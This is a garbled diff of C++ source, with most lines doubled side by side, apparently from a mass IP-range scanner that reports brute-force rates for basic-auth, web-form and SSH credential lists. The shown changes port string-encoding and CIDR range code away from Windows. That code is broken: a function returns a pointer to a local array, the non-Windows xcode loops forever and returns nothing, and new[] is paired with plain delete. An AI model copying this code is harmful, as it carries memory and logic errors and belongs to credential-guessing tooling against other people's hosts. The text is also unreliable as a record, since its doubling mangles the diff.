stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str())); stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str()));
}; }
void ReadUTF8(FILE* nFile, char *cp) void ReadUTF8(FILE* nFile, char *cp)
{ {
char buffFG[256] = {0}; char buffFG[256] = {0};
@ -1201,7 +1206,11 @@ void ReadUTF8(FILE* nFile, char *cp)
if(strstr((char*)buffFG, "\n") != 0) if(strstr((char*)buffFG, "\n") != 0)
{ {
std::string res = xcode(buffFG, CP_UTF8, CP_ACP); std::string res;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
res = xcode(buffFG, CP_UTF8, CP_ACP);
#else
#endif
int sz = res.size(); int sz = res.size();
GlobalNegatives[i] = new char[sz + 1]; GlobalNegatives[i] = new char[sz + 1];
ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i])); ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i]));
@ -1211,7 +1220,11 @@ void ReadUTF8(FILE* nFile, char *cp)
} }
else else
{ {
std::string res = xcode(buffFG, CP_UTF8, CP_ACP); std::string res;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
res = xcode(buffFG, CP_UTF8, CP_ACP);
#else
#endif
int sz = res.size(); int sz = res.size();
GlobalNegatives[i] = new char[sz + 1]; GlobalNegatives[i] = new char[sz + 1];
ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i])); ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i]));
@ -1222,7 +1235,7 @@ void ReadUTF8(FILE* nFile, char *cp)
unsigned char buffcpy2[256] = {0}; unsigned char buffcpy2[256] = {0};
int sz = strlen((char*)buffFG); int sz = strlen((char*)buffFG);
#ifdef WIN32 #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz); strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz);
#else #else
strncpy((char*)buffcpy2, buffFG, sz); strncpy((char*)buffcpy2, buffFG, sz);
@ -1246,23 +1259,48 @@ void ReadUTF8(FILE* nFile, char *cp)
}; };
} }
#ifdef WIN32
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
unsigned char* ASCIItoUNICODE (unsigned char ch)
{
unsigned char Val[2];
if ((ch < 192)&&(ch != 168)&&(ch != 184)) {Val[0] = 0; Val[1] = ch; return Val;}
if (ch == 168) {Val[0] = 208; Val[1] = 129; return Val;}
if (ch == 184) {Val[0] = 209; Val[1] = 145; return Val;}
if (ch < 240) {Val[0] = 208; Val[1] = ch-48; return Val;}
if (ch < 249) {Val[0] = 209; Val[1] = ch-112; return Val;}
}
#endif
std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage)
{ {
std::string res;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0); int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0);
LPWSTR wbuf = (LPWSTR)new char[wsize * sizeof(WCHAR)]; LPWSTR wbuf = (LPWSTR)new char[wsize * sizeof(WCHAR)];
MultiByteToWideChar(srcCodePage, 0, src, -1, wbuf, wsize); MultiByteToWideChar(srcCodePage, 0, src, -1, wbuf, wsize);
int size = WideCharToMultiByte(dstCodePage, 0, wbuf, -1, 0, 0, 0, 0); int size = WideCharToMultiByte(dstCodePage, 0, wbuf, -1, 0, 0, 0, 0);
char * buf = (char *)new char[size]; char * buf = (char *)new char[size];
WideCharToMultiByte(dstCodePage, 0, wbuf, -1, buf, size, 0, 0); WideCharToMultiByte(dstCodePage, 0, wbuf, -1, buf, size, 0, 0);
delete [] wbuf; delete wbuf;
std::string res;
res.append(buf); res.append(buf);
delete [] buf; delete buf;
#else
unsigned int size = 0;
while (src[size++]!=0);
char * buf = (char *)new char[size];
unsigned char uni[16] = {0};
size=0;
while (src[size]!=0)
{
};
delete buf;
#endif
return res; return res;
} }
#endif
void _NegativeFapper() void _NegativeFapper()
{ {
FILE *nFile = fopen("negatives.txt", "rb"); FILE *nFile = fopen("negatives.txt", "rb");
@ -1283,7 +1321,8 @@ void _NegativeFapper()
ReadUTF8(nFile, "1251"); ReadUTF8(nFile, "1251");
}; };
} }
}; }
void CheckMaskBits(char *res, int index) void CheckMaskBits(char *res, int index)
{ {
char *bitsStr = strstr(res, "/"); char *bitsStr = strstr(res, "/");
@ -1346,7 +1385,8 @@ void CheckMaskBits(char *res, int index)
stt->doEmitionKillSttThread(); stt->doEmitionKillSttThread();
}; };
}; }
void GetOctets(char *curIP) void GetOctets(char *curIP)
{ {
char *str1; char *str1;
@ -1426,7 +1466,8 @@ void GetOctets(char *curIP)
octet[3] = atoi(temp); octet[3] = atoi(temp);
return; return;
}; };
}; }
int fInit(int InitMode, char *gR) int fInit(int InitMode, char *gR)
{ {
strcpy(metaRange, gR); strcpy(metaRange, gR);
@ -1603,7 +1644,8 @@ int fInit(int InitMode, char *gR)
targets = numOfIps(ipsstart, ipsend); targets = numOfIps(ipsstart, ipsend);
}; };
}; }
void FileLoader(char *str) void FileLoader(char *str)
{ {
char res[256] = {0}; char res[256] = {0};
@ -1847,7 +1889,8 @@ void FileLoader(char *str)
{ {
stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list."); stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
}; };
}; }
char *GetCIDRRangeStr(char *str) char *GetCIDRRangeStr(char *str)
{ {
char result[128] = {0}; char result[128] = {0};
@ -1915,37 +1958,62 @@ char *GetCIDRRangeStr(char *str)
mOctet[3] = 0; mOctet[3] = 0;
}; };
strcpy(start, itoa(octet[0]&mOctet[0], buff, 10));
strcat(start, ".");
strcat(start, itoa(octet[1]&mOctet[1], buff, 10));
strcat(start, ".");
strcat(start, itoa(octet[2]&mOctet[2], buff, 10));
strcat(start, ".");
strcat(start, itoa(octet[3]&mOctet[3], buff, 10));
unsigned char tempRes = 0; sprintf(start, "%d.%d.%d.%d", octet[0]&mOctet[0],
if(mOctet[0] == 255) tempRes = octet[0]; octet[1]&mOctet[1],
else tempRes = octet[0]|~mOctet[0]; octet[2]&mOctet[2],
strcat(end, itoa(tempRes, buff, 10)); octet[3]&mOctet[3]);
strcat(end, ".");
if(mOctet[1] == 255) tempRes = octet[1]; // strcpy(start, itoa(octet[0]&mOctet[0], buff, 10));
else tempRes = octet[1]|~mOctet[1]; // strcat(start, ".");
strcat(end, itoa(tempRes, buff, 10)); // strcat(start, itoa(octet[1]&mOctet[1], buff, 10));
strcat(end, "."); // strcat(start, ".");
if(mOctet[2] == 255) tempRes = octet[2]; // strcat(start, itoa(octet[2]&mOctet[2], buff, 10));
else tempRes = octet[2]|~mOctet[2]; // strcat(start, ".");
strcat(end, itoa(tempRes, buff, 10)); // strcat(start, itoa(octet[3]&mOctet[3], buff, 10));
strcat(end, ".");
if(mOctet[3] == 255) tempRes = octet[3]; unsigned char tempRes0 = 0;
else tempRes = octet[3]|~mOctet[3]; unsigned char tempRes1 = 0;
strcat(end, itoa(tempRes, buff, 10)); unsigned char tempRes2 = 0;
unsigned char tempRes3 = 0;
if(mOctet[0] == 255) tempRes0 = octet[0];
else tempRes0 = octet[0]|~mOctet[0];
if(mOctet[1] == 255) tempRes1 = octet[1];
else tempRes1 = octet[1]|~mOctet[1];
if(mOctet[2] == 255) tempRes2 = octet[2];
else tempRes2 = octet[2]|~mOctet[2];
if(mOctet[3] == 255) tempRes3 = octet[3];
else tempRes3 = octet[3]|~mOctet[3];
sprintf(end, "%d.%d.%d.%d", tempRes0,
tempRes1,
tempRes2,
tempRes3);
// if(mOctet[0] == 255) tempRes = octet[0];
// else tempRes = octet[0]|~mOctet[0];
// strcat(end, itoa(tempRes, buff, 10));
// strcat(end, ".");
// if(mOctet[1] == 255) tempRes = octet[1];
// else tempRes = octet[1]|~mOctet[1];
// strcat(end, itoa(tempRes, buff, 10));
// strcat(end, ".");
// if(mOctet[2] == 255) tempRes = octet[2];
// else tempRes = octet[2]|~mOctet[2];
// strcat(end, itoa(tempRes, buff, 10));
// strcat(end, ".");
// if(mOctet[3] == 255) tempRes = octet[3];
// else tempRes = octet[3]|~mOctet[3];
// strcat(end, itoa(tempRes, buff, 10));
strcpy(result, start); strcpy(result, start);
strcat(result, "-"); strcat(result, "-");
strcat(result, end); strcat(result, end);
return result; return result;
}; }
int ParseArgs(int argc, char *argv[]) int ParseArgs(int argc, char *argv[])
{ {
int s = 0; int s = 0;
@ -2115,7 +2183,7 @@ int ParseArgs(int argc, char *argv[])
delete[] argString; delete[] argString;
return 0; return 0;
}; }
char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
@ -2130,7 +2198,8 @@ int _getPos(char l)
if(l == charAll[i]) return i; if(l == charAll[i]) return i;
}; };
return -1; return -1;
}; }
int _getChunkCount(char *data) int _getChunkCount(char *data)
{ {
int firstPos = _getPos(data[1]); int firstPos = _getPos(data[1]);
@ -2227,7 +2296,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder)
Sleep(gThreadDelay); Sleep(gThreadDelay);
}; };
}; }
int startScan(char* args) int startScan(char* args)
{ {
@ -2817,7 +2886,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
stt->doEmitionChangeStatus("Idle"); stt->doEmitionChangeStatus("Idle");
stt->doEmitionKillSttThread(); stt->doEmitionKillSttThread();
}; }
void nCleanup(){ void nCleanup(){
if(loginLst != NULL) if(loginLst != NULL)